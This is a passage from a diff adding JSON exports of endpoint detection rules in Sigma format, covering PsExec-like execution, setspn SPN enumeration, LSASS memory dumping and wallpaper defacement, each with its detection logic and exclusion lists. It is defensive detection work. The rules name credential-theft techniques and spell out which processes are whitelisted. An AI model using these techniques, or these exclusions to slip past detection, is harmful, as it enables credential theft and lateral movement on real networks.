medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6a7426b7-86a4-4009-b5d8-bd78413a67e9",
+  "rule_name": "PsExec-like Process Executed",
+  "rule_description": "Detects the execution of PsExec-like processes, including PsExec itself and similar tools.\nThis detection looks for the execution of known PsExec-related executables and their variants, such as psexec.exe, psexec64.exe, winexesvc.exe, and PAExec.\nIt also considers the original filenames and parent processes associated with these tools.\nAttackers often use PsExec and similar utilities for lateral movement within a network, leveraging administrative shares.\nThis rule helps identify potential unauthorized use of these tools, which could indicate malicious activity.\nNote that legitimate administrative activities may also trigger this detection, so context is important for investigation.\nIt is recommended to analyze the context behind the execution of this command with the process tree to determine its legitimacy.\nIf this activity is recurrent in your environment, it is highly recommended to whitelist the scripts used in your command-line field.\n",
+  "rule_creation_date": "2020-10-12",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1036",
+    "attack.t1136.002",
+    "attack.t1569.002",
+    "attack.t1570"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6a951ef9-9390-4a9a-9757-ee1fe91b679c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093911Z",
+  "creation_date": "2026-03-23T11:45:34.093913Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093918Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v=ws.11)",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1558.003/T1558.003.md#atomic-test-3---extract-all-accounts-in-use-as-spn-using-setspn",
+    "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/",
+    "https://attack.mitre.org/techniques/T1558/003/"
+  ],
+  "name": "t1558_003_enumerate_spn_via_setspn.yml",
+  "content": "title: Suspicious SPNs Enumeration via setspn\nid: 6a951ef9-9390-4a9a-9757-ee1fe91b679c\ndescription: |\n    Detects the suspicious execution of the legitimate windows tool setspn.\n    This tool can be used to extract the Service Principal Names (SPNs) used in Active Directory to conduct attacks such as Kerberoasting.\n    Service Principal Names are used to uniquely identify each instance of a Windows service.\n    It is recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731241(v=ws.11)\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1558.003/T1558.003.md#atomic-test-3---extract-all-accounts-in-use-as-spn-using-setspn\n    - https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/\n    - https://attack.mitre.org/techniques/T1558/003/\ndate: 2022/08/17\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_1:\n        - Image|endswith: '\\setspn.exe'\n        - OriginalFileName: 'setspn.exe'\n    selection_2:\n        CommandLine|contains:\n            - '-Q'\n            - '/Q'\n\n    exclusion_azuread:\n        - ParentImage:\n            - '?:\\Program Files\\Azure Ad Connect Health Adfs Agent\\Diagnostics\\Microsoft.Identity.Health.Adfs.PshSurrogate.exe'\n            - '?:\\Program Files (x86)\\Azure Ad Connect Health Adfs Agent\\Diagnostics\\Microsoft.Identity.Health.Adfs.PshSurrogate.exe'\n        - GrandparentImage: '?:\\Program Files\\Microsoft Azure AD Connect Health Agent\\Microsoft.Identity.Health.AgentV??.Service.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nfalsepositives:\n    - Legitimate administrator action\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6a951ef9-9390-4a9a-9757-ee1fe91b679c",
+  "rule_name": "Suspicious SPNs Enumeration via setspn",
+  "rule_description": "Detects the suspicious execution of the legitimate windows tool setspn.\nThis tool can be used to extract the Service Principal Names (SPNs) used in Active Directory to conduct attacks such as Kerberoasting.\nService Principal Names are used to uniquely identify each instance of a Windows service.\nIt is recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2022-08-17",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1558.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6ab64fdc-5e5d-466b-acb8-d33de7ac703a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628667Z",
+  "creation_date": "2026-03-23T11:45:34.628669Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628673Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Libraries/Comsvcs/",
+    "https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_lsass_memory_dump_minidump.yml",
+  "content": "title: LSASS Process Memory Dumped via MiniDump API\nid: 6ab64fdc-5e5d-466b-acb8-d33de7ac703a\ndescription: |\n    Detects an attempt to open LSASS.exe process memory with read permissions to perform a minidump (using MiniDumpWriteDump located in dbghelp.dll / dbgcore.dll or Minidump located in comsvcs.dll).\n    Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\n    These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\n    It is recommended to investigate the process that performed this action to determine its legitimacy, to look for the unwanted usage of stolen credentials on others hosts (e.g via Path-the-Hash) as well as to look for other suspicious actions on the host.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Libraries/Comsvcs/\n    - https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/06/02\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains: 'PROCESS_VM_READ'\n        CallTrace|contains:\n            - 'dbgcore.dll'\n            - 'dbghelp.dll'\n            - 'comsvcs.dll'\n\n    # This is handled by the rule 3ed4eb53-d0ba-458c-9c03-cd4f967cc00b\n    filter_procdump:\n        ProcessOriginalFileName: 'procdump'\n\n    # taskkill /FI MODULES eq JeepJava.dll\n    exclusion_taskkill:\n        ProcessInternalName: 'taskkill.exe'\n        ProcessOriginalFileName: 'taskkill.exe'\n        ProcessSigned: 'true'\n        ProcessCommandLine|contains|all:\n            - '/FI '\n            - ' MODULES '\n\n    # \"C:\\Windows\\system32\\tasklist.exe\" /M LenovoBatteryGaugePackage.dll\n    exclusion_tasklist:\n        ProcessInternalName: 'tasklist.exe'\n        ProcessOriginalFileName: 'tasklist.exe'\n        ProcessSigned: 'true'\n        ProcessCommandLine|contains: '/M'\n\n    exclusion_symantec:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Symantec Corporation'\n        CallTrace|contains: 'Symantec Endpoint Protection'\n\n    exclusion_werfault1:\n        SourceImage: '*\\WerFault.exe'\n        CallTrace|contains|all:\n            - '?:\\Windows\\System32\\Faultrep.dll'\n            - '?:\\Windows\\System32\\WerFault.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessCommandLine|contains: ' -u -p '\n        ProcessParentImage: '?:\\Windows\\System32\\lsass.exe'\n\n    exclusion_werfault2:\n        SourceImage: '*\\WerFault.exe'\n        CallTrace|contains:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\System32\\werui.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessCommandLine|contains:\n            - ' -pr Global' # C:\\WINDOWS\\system32\\werfault.exe -pr Global\\AF13DBAAA32678FB\n            - ' -p'\n            - ' /h /shared Global' #  werfault.exe /h /shared Global\\f7f93a4b90f948a58adbbe4165656106 /t 10092 /p 8712\n        ProcessParentCommandLine: '?:\\WINDOWS\\System32\\svchost.exe -k WerSvcGroup'\n        ProcessGrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_werfault3:\n        SourceImage: '*\\WerFault.exe'\n        CallTrace|contains|all:\n            - '?:\\Windows\\SysWOW64\\wer.dll'\n            - '?:\\Windows\\SysWOW64\\Faultrep.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessCommandLine|contains: ' -u -p '\n\n    exclusion_werfault4:\n        SourceImage: '*\\WerFault.exe'\n        CallTrace|contains|all:\n            - '?:\\Windows\\SysWOW64\\dbgcore.dll'\n            - '?:\\Windows\\SysWOW64\\Faultrep.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessCommandLine|contains: ' -u -p '\n\n    exclusion_werfaultsecure:\n        SourceImage: '*\\WerFaultSecure.exe'\n        CallTrace|contains|all:\n            - '?:\\Windows\\System32\\WerFaultSecure.exe'\n            - '?:\\Windows\\System32\\Faultrep.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ProcessCommandLine|contains: ' -u -p '\n\n    exclusion_listdlls_signed:\n        ProcessOriginalFileName: 'Listdlls.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_listdlls64_old_sysinternals:\n        SourceImage: '*\\Listdlls64.exe'\n        GrantedAccess: '0x1fffff'\n        ProcessCompany: 'Sysinternals'\n        ProcessProduct: 'Sysinternals Listdlls'\n        ProcessInternalName: 'Listdlls'\n        ProcessOriginalFileName: 'Listdlls.exe'\n\n    exclusion_wermgr:\n        SourceImage: '*\\wermgr.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessParentImage: '?:\\Windows\\System32\\WerFault.exe'\n\n    exclusion_kaspersky:\n        SourceImage:\n            - '?:\\Program Files (x86)\\Kaspersky Lab\\Kaspersky Endpoint Security for Windows\\avp.exe'\n            - '?:\\Program Files (x86)\\Kaspersky Lab\\KES.*\\avp.exe'\n        ProcessSigned: 'true'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_qliktech:\n        SourceImage: '?:\\Program Files\\Common Files\\QlikTech\\Custom Data\\QvODBCConnectorPackage\\QvOdbcConnectorPackage.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'QlikTech International AB'\n\n    exclusion_smartbear:\n        ProcessImage: '?:\\Program Files (x86)\\SmartBear\\TestExecute ??\\x64\\Bin\\TestExecute.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'SmartBear Software Inc'\n            - 'SmartBear Software Inc.'\n\n    exclusion_sqlserver:\n        ProcessImage:\n            - '?:\\Program Files\\Microsoft SQL Server\\MSSQL??.MSSQLSERVER\\MSSQL\\Binn\\sqlservr.exe'\n            - '?:\\Program Files\\Microsoft SQL Server Reporting Services\\SSRS\\ReportServer\\bin\\ReportingServicesService.exe'\n            - '?:\\Program Files\\Microsoft SQL Server\\\\*\\DTS\\Binn\\DTExec.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_oracle_dll:\n        GrantedAccess: '0x1410'\n        CallTrace|contains|all:\n            - 'comsvcs.dll'\n            - 'orannzsbb1?.dll'\n\n    exclusion_oracle_dll_2:\n        GrantedAccess: '0x1410'\n        CallTrace|contains|all:\n            - 'comsvcs.dll'\n            - 'oraociei1?.dll'\n\n    exclusion_oracle_dll_3:\n        GrantedAccess: '0x1410'\n        CallTrace|contains|all:\n            - 'comsvcs.dll'\n            - 'OraOLEDB1?.dl'\n\n    exclusion_google:\n        ProcessImage: '?:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Google LLC'\n        CallTrace|contains|all:\n            - 'goopdate.dll'\n            - 'GoogleUpdate.exe'\n\n    exclusion_ninjarmmagent:\n        ProcessImage|endswith: '\\NinjaRMMAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'NinjaRMM, LLC'\n            - 'NinjaOne LLC'\n        CallTrace|contains: 'NinjaRMMAgent.exe'\n\n    exclusion_wmi_win32_process_list:\n        CallTrace|contains: ':\\Windows\\System32\\framedynos.dll'\n        ProcessOriginalFileName: 'Wmiprvse.exe'\n        ProcessInternalName: 'Wmiprvse.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n        GrantedAccess: '0x1410'\n        ProcessParentImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentCommandLine: '?:\\windows\\system32\\svchost.exe -k DcomLaunch -p'\n\n    exclusion_mactype:\n        ProcessImage: '?:\\program files\\mactype\\mt64agnt.exe'\n\n    exclusion_easyvista:\n        GrantedAccess: '0x1410'\n        ProcessProduct: 'Easyvista'\n        ProcessOriginalFileName: 'SMO_MSSQL.exe'\n        CallTrace|contains: '\\bin\\orannzsbb.dll+'\n\n    exclusion_mcafee:\n        ProcessImage:\n            - '?:\\Program Files\\McAfee\\Endpoint Security\\Web Control\\mfewc.exe'\n            - '?:\\Program Files (x86)\\McAfee\\Endpoint Security\\Web Control\\mfewc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'McAfee, Inc.'\n\n    exclusion_rdrleakdiag:\n        ProcessImage: '?:\\Windows\\System32\\rdrleakdiag.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\taskhostw.exe'\n\n    exclusion_setuphost:\n        ProcessImage: '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n        ProcessParentImage: '?:\\Windows\\SoftwareDistribution\\Download\\\\*\\WindowsUpdateBox.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6ab64fdc-5e5d-466b-acb8-d33de7ac703a",
+  "rule_name": "LSASS Process Memory Dumped via MiniDump API",
+  "rule_description": "Detects an attempt to open LSASS.exe process memory with read permissions to perform a minidump (using MiniDumpWriteDump located in dbghelp.dll / dbgcore.dll or Minidump located in comsvcs.dll).\nAdversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).\nThese credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement or Privilege Escalation.\nIt is recommended to investigate the process that performed this action to determine its legitimacy, to look for the unwanted usage of stolen credentials on others hosts (e.g via Path-the-Hash) as well as to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2021-06-02",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6abfcbb6-635b-4d06-9f3c-96545e9ac929",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622623Z",
+  "creation_date": "2026-03-23T11:45:34.622625Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622629Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/blog/venus-ransomware-zeoticus-spin-off-shows-sophistication-isnt-necessary-for-success/",
+    "https://attack.mitre.org/techniques/T1491/001/"
+  ],
+  "name": "t1491_001_user_wallpaper_modification.yml",
+  "content": "title: User's Wallpaper Modified\nid: 6abfcbb6-635b-4d06-9f3c-96545e9ac929\ndescription: |\n    Detects a modification of the user's desktop wallpaper via a registry modification.\n    This technique is often seen during ransomware deployment. An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the organization.\n    Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.\n    It is recommended to check if this modification is the result of a legitimate action.\nreferences:\n    - https://www.sentinelone.com/blog/venus-ransomware-zeoticus-spin-off-shows-sophistication-isnt-necessary-for-success/\n    - https://attack.mitre.org/techniques/T1491/001/\ndate: 2024/06/24\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1491.001\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        TargetObject: 'HKU\\\\*\\Control Panel\\Desktop\\Wallpaper'\n        ProcessImage|startswith: '?:\\'\n        ProcessParentImage|startswith: '?:\\'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - '(None)'\n            - '-'\n\n    filter_default:\n        Details:\n            - '?:\\Windows\\web\\wallpaper\\\\*'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.jpg'\n            - '?:\\Users\\\\*\\AppData\\Local\\Packages\\Microsoft.Windows.Photos_8wekyb3d8bbwe\\LocalState\\PhotosAppBackground\\\\*'\n            - '?:\\Users\\\\*\\AppData\\Local\\Packages\\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\\LocalCache\\Microsoft\\IrisService\\\\*'\n            - '?:\\Windows\\SystemApps\\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\\DesktopSpotlight\\Assets\\Images\\\\*'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_explorer:\n        ProcessImage: '?:\\Windows\\Explorer.EXE'\n        ProcessParentImage:\n            - '?:\\Windows\\system32\\userinit.exe'\n            - '?:\\Windows\\System32\\winlogon.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Windows\\System32\\Cliaca2kp.exe'\n            - '?:\\Program Files\\Microsoft OneDrive\\OneDrive.exe'\n\n    exclusion_bginfo1:\n        ProcessOriginalFileName:\n            - 'BGInfo.exe'\n            - 'slui.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows'\n\n    exclusion_bgingo2:\n        Details:\n            - '?:\\Windows\\BGInfo.bmp'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\BGInfo.bmp'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\?\\BGInfo.bmp'\n            - '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Windows\\Themes\\BGInfo.bmp'\n            - '?:\\Users\\\\*\\Local Settings\\Application Data\\Sysinternals\\BGInfo\\BGInfo.bmp'\n\n    exclusion_qvi:\n        ProcessImage: '?:\\Program Files\\QVI\\Portal\\QPWindowService.exe'\n        Details: '?:\\Program Files\\QVI\\Portal\\QVIPortalDesktop.jpg'\n\n    exclusion_windowsapps1:\n        ProcessImage: '?:\\Program Files\\WindowsApps\\\\*'\n        Details: '?:\\Users\\\\*\\AppData\\Local\\Packages\\\\*'\n    exclusion_windowsapps2:\n        ProcessGrandparentImage: '?:\\Program Files\\WindowsApps\\\\*'\n        Details: '?:\\Users\\\\*\\AppData\\Local\\Packages\\\\*'\n\n    exclusion_image:\n        ProcessImage:\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupHost.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\mighost.exe'\n            - '?:\\$WINDOWS.~BT\\Sources\\SetupPlatform.exe'\n            - '?:\\ProgramData\\CentraStage\\AEMAgent\\RMM.WebRemote\\\\*\\RMM.WebRemote.exe'\n            - '?:\\Windows\\System32\\Cliaca2kp.exe'\n            - '?:\\Windows\\System32\\mspaint.exe'\n\n    exclusion_bing:\n        ProcessImage: '*\\AppData\\Local\\Microsoft\\BingWallpaperApp\\BingWallpaperApp.exe'\n        Details|startswith: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\BingWallpaperApp\\WPImages\\'\n\n    exclusion_backinfo:\n        ProcessOriginalFileName: 'BackInfo.exe'\n        ProcessProduct: 'Microsoft BackInfo'\n        Details:\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\backinfo.bmp'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\backinfo.bmp'\n\n    exclusion_raserver:\n        ProcessImage: '?:\\Windows\\System32\\msra.exe'\n        ProcessAncestors: '?:\\Windows\\System32\\raserver.exe|?:\\Windows\\System32\\svchost.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    exclusion_firefox:\n        ProcessOriginalFileName: 'firefox.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Mozilla Corporation'\n        Details|contains: '\\AppData\\Roaming\\Mozilla\\Firefox\\'\n\n    exclusion_osdsetup:\n        ProcessImage: '?:\\Windows\\System32\\OSDSETUPHOOK.EXE'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_mighost:\n        ProcessOriginalFileName: 'MigHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_logmein:\n        ProcessOriginalFileName: 'LMI_Rescue.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'LogMeIn, Inc.'\n\n    exclusion_transwiz:\n        ProcessProduct: 'Transwiz'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ForensiT Limited'\n\n    exclusion_irfanview:\n       ProcessOriginalFileName:\n            - 'i_view32.exe'\n            - 'i_view64.exe'\n       Details:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\IrfanView\\IrfanView_Wallpaper.bmp'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\IrfanView\\IrfanView_Wallpaper.png'\n\n    exclusion_dllhost:\n        ProcessCommandLine:\n            - '?:\\windows\\system32\\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}'\n            - '?:\\Windows\\SysWOW64\\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}'\n        Details: '*\\AppData\\Roaming\\Microsoft\\Windows Photo Viewer\\Papier peint de la Visionneuse de photos Windows.jpg'\n\n    exclusion_displayfusion:\n        ProcessOriginalFileName: 'DisplayFusionSettings.dll'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Binary Fortress Software Ltd'\n\n    exclusion_msra:\n        ProcessCommandLine: '?:\\Windows\\System32\\msra.exe -CreateRAConnectionString'\n        ProcessParentImage: '?:\\Windows\\System32\\raserver.exe'\n\n    exclusion_bingsnap:\n        ProcessOriginalFileName: 'BingSnap.exe'\n        ProcessCompany: 'Carthago Software'\n\n    exclusion_bingdesktop:\n        ProcessOriginalFileName: 'BingDesktop.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_ec2:\n        ProcessCommandLine: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NoProfile -NonInteractive -NoLogo -WindowStyle hidden -ExecutionPolicy Unrestricted Import-Module ?:\\ProgramData\\Amazon\\EC2-Windows\\Launch\\Module\\Ec2Launch.psd1; Set-Wallpaper'\n        Details: '*\\AppData\\Local\\Ec2Wallpaper_Info.jpg'\n\n    exclusion_intune:\n        ProcessParentImage: '?:\\Program Files (x86)\\Microsoft Intune Management Extension\\AgentExecutor.exe'\n\n    exclusion_wallpaperchangescheduler:\n        ProcessOriginalFileName: 'WallpaperChangeScheduler.exe'\n        ProcessCompany: 'FutureSight Technologies'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: low\n# level: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6abfcbb6-635b-4d06-9f3c-96545e9ac929",
+  "rule_name": "User's Wallpaper Modified",
+  "rule_description": "Detects a modification of the user's desktop wallpaper via a registry modification.\nThis technique is often seen during ransomware deployment. An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the organization.\nDisturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.\nIt is recommended to check if this modification is the result of a legitimate action.\n",
+  "rule_creation_date": "2024-06-24",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1491.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6ac8ae28-b9f5-4dd1-897f-8aacbdde35c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
